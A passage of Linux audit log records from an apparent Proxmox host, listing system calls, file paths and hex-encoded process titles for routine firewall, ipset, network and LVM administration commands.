a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=PATH msg=audit(1781966145.572:68621): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.779:65331): proctitle=69707365740073617665"} {"@timestamp":1781964623458,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964623.458:61830): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7aad2f8a6da6 a2=80000 a3=0 items=1 ppid=1216 pid=59330 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=PATH msg=audit(1781966145.572:68620): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375771,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.771:65330): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964623455,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964623.455:61829): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59330 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=PATH msg=audit(1781966145.572:68619): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.761:65329): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964623420,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964623.420:61828): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7e66c5cbbda6 a2=80000 a3=0 items=1 ppid=1216 pid=59329 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966145561,"@rawstring":"node=pve type=PATH msg=audit(1781966145.561:68618): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965374667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965374.667:65328): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964623418,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964623.418:61827): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59329 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966145561,"@rawstring":"node=pve type=PATH msg=audit(1781966145.561:68618): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965374635,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965374.635:65327): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966145561,"@rawstring":"node=pve type=PATH msg=audit(1781966145.561:68617): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965372.784:65326): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966145561,"@rawstring":"node=pve type=PATH msg=audit(1781966145.561:68616): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965372.784:65325): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966144465,"@rawstring":"node=pve type=PATH msg=audit(1781966144.465:68615): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965372.784:65324): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966144465,"@rawstring":"node=pve type=PATH msg=audit(1781966144.465:68615): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372776,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965372.776:65323): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966144431,"@rawstring":"node=pve type=PATH msg=audit(1781966144.431:68614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372776,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965372.776:65322): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966144431,"@rawstring":"node=pve type=PATH msg=audit(1781966144.431:68614): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372775,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965372.775:65321): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966141160,"@rawstring":"node=pve type=PATH msg=audit(1781966141.160:68613): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965367.767:65320): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966141160,"@rawstring":"node=pve type=PATH msg=audit(1781966141.160:68613): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965367.767:65319): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966141160,"@rawstring":"node=pve type=PATH msg=audit(1781966141.160:68612): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965367.767:65318): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966141160,"@rawstring":"node=pve type=PATH msg=audit(1781966141.160:68612): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965367.753:65317): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966141158,"@rawstring":"node=pve type=PATH msg=audit(1781966141.158:68611): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965367.753:65316): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966141158,"@rawstring":"node=pve type=PATH msg=audit(1781966141.158:68611): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965367.753:65315): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966140552,"@rawstring":"node=pve type=PATH msg=audit(1781966140.552:68610): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365749,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.749:65314): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966140552,"@rawstring":"node=pve type=PATH msg=audit(1781966140.552:68610): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.741:65313): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966140552,"@rawstring":"node=pve type=PATH msg=audit(1781966140.552:68609): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365739,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.739:65312): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966140552,"@rawstring":"node=pve type=PATH msg=audit(1781966140.552:68608): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365739,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.739:65311): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966140535,"@rawstring":"node=pve type=PATH msg=audit(1781966140.535:68607): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.733:65310): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966140535,"@rawstring":"node=pve type=PATH msg=audit(1781966140.535:68607): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.725:65309): proctitle=\"ip6tables-save\""} {"@timestamp":1781966140535,"@rawstring":"node=pve type=PATH msg=audit(1781966140.535:68606): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.718:65308): proctitle=\"iptables-save\""} {"@timestamp":1781966140535,"@rawstring":"node=pve type=PATH msg=audit(1781966140.535:68605): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365711,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.711:65307): proctitle=\"ip6tables-save\""} {"@timestamp":1781966135614,"@rawstring":"node=pve type=PATH msg=audit(1781966135.614:68604): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.703:65306): proctitle=\"iptables-save\""} {"@timestamp":1781966135614,"@rawstring":"node=pve type=PATH msg=audit(1781966135.614:68604): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.700:65305): proctitle=\"ebtables-restore\""} {"@timestamp":1781966135610,"@rawstring":"node=pve type=PATH msg=audit(1781966135.610:68603): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.695:65304): proctitle=\"ebtables-restore\""} {"@timestamp":1781966135610,"@rawstring":"node=pve type=PATH msg=audit(1781966135.610:68603): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.691:65303): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966135609,"@rawstring":"node=pve type=PATH msg=audit(1781966135.609:68602): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365685,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.685:65302): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966135609,"@rawstring":"node=pve type=PATH msg=audit(1781966135.609:68602): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365679,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.679:65301): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966135609,"@rawstring":"node=pve type=PATH msg=audit(1781966135.609:68601): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.673:65300): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966135602,"@rawstring":"node=pve type=PATH msg=audit(1781966135.602:68600): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.667:65299): proctitle=697073657400726573746F7265"} {"@timestamp":1781966135602,"@rawstring":"node=pve type=PATH msg=audit(1781966135.602:68600): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365659,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.659:65298): proctitle=\"ip6tables-save\""} {"@timestamp":1781966135602,"@rawstring":"node=pve type=PATH msg=audit(1781966135.602:68600): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365652,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.652:65297): proctitle=\"iptables-save\""} {"@timestamp":1781966135594,"@rawstring":"node=pve type=PATH msg=audit(1781966135.594:68599): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.648:65296): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966135594,"@rawstring":"node=pve type=PATH msg=audit(1781966135.594:68599): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365637,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.637:65295): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966135584,"@rawstring":"node=pve type=PATH msg=audit(1781966135.584:68598): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.636:65294): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966135584,"@rawstring":"node=pve type=PATH msg=audit(1781966135.584:68598): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.636:65293): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966135575,"@rawstring":"node=pve type=PATH msg=audit(1781966135.575:68597): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.631:65292): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966135575,"@rawstring":"node=pve type=PATH msg=audit(1781966135.575:68597): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.621:65291): proctitle=\"ip6tables-save\""} {"@timestamp":1781966135567,"@rawstring":"node=pve type=PATH msg=audit(1781966135.567:68596): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365611,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.611:65290): proctitle=\"iptables-save\""} {"@timestamp":1781966135567,"@rawstring":"node=pve type=PATH msg=audit(1781966135.567:68596): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365605,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.605:65289): proctitle=69707365740073617665"} {"@timestamp":1781966135560,"@rawstring":"node=pve type=PATH msg=audit(1781966135.560:68594): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.597:65288): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966135560,"@rawstring":"node=pve type=PATH msg=audit(1781966135.560:68594): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965365.583:65287): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966135554,"@rawstring":"node=pve type=PATH msg=audit(1781966135.554:68593): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965364531,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965364.531:65286): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966135554,"@rawstring":"node=pve type=PATH msg=audit(1781966135.554:68593): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965364482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965364.482:65285): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966135548,"@rawstring":"node=pve type=PATH msg=audit(1781966135.548:68592): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965362.745:65284): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135548,"@rawstring":"node=pve type=PATH msg=audit(1781966135.548:68592): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965362.745:65283): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135542,"@rawstring":"node=pve type=PATH msg=audit(1781966135.542:68591): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965362.745:65282): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135542,"@rawstring":"node=pve type=PATH msg=audit(1781966135.542:68591): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965362.737:65281): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135536,"@rawstring":"node=pve type=PATH msg=audit(1781966135.536:68590): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965362.737:65280): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135536,"@rawstring":"node=pve type=PATH msg=audit(1781966135.536:68590): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965362.737:65279): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135531,"@rawstring":"node=pve type=PATH msg=audit(1781966135.531:68589): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965360394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965360.394:65278): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966135531,"@rawstring":"node=pve type=PATH msg=audit(1781966135.531:68589): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 